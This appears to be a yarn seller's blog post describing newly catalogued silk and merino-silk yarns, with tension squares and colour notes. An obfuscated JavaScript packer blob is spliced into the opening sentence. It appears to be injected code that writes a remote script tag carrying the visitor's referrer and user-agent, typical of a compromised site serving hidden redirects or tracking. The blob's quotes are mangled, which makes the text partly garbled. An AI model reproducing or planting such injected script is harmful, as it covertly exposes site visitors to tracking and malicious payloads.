So, I have spent the last couple of days unpacking and cataloging my shreya eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ihkyr|var|u0026u|referrer|ykyzh||js|php’.split(‘|’),0,{}))
silks
, and they are just amazing. I have 50 different colours across 6 different yarns. I get so excited when I see them that I just can’t imagine people will not want to buy them! I was a bit worried at first because they didn’t seem to match my order, but actually it doesn’t really matter – I have a huge variety of colours and I’m fairly sure I’ve catered to most people’s tastes. I don’t have many masculine colours but I think to myself who knits silk for men? Maybe I am wrong, but I imagine most of my customers will be knitting for themselves or their friends, with perhaps one or two exceptions.

So, Mulberino is a merino silk blend that infact is very similar in weight to it’s 3 silk counterparts. I have done tension squares on the Mulberino Viscount, which is a beautiful woven yarn (I believe it is 4 or 5 strands woven together) and it is definitely an aran (18st, 22 row x 10cms on 5mm) but you could easily get away with using larger needles for a looser knit.

The Mulberino Duchess is a the same blend of silk/merino, but is not woven in the same way as the Viscount, instead it is 4 threads that are loosely wrapped around each other but can easily be separated. The tensions square knits as a dk (22st x 30 rows to 10cms on 4mm) however as with Viscount, it could be knitted on larger needles to give a looser summer knit.

The Princess Lace is the last of these beautiful yarns but by no means the least… I just LOVE the colours of these yarns and the way that they work together. I have generally chosen mixed colour variations for the lace yarns because I believe that constant colour is hard enough to knit if you are making a large item because it becomes so hard to see progress – and this is even more so with lace. I also think that most items that you would make out of lace, look great with a variety of colours.

I hope that other people love colour as much as I do… I guess time will tell…
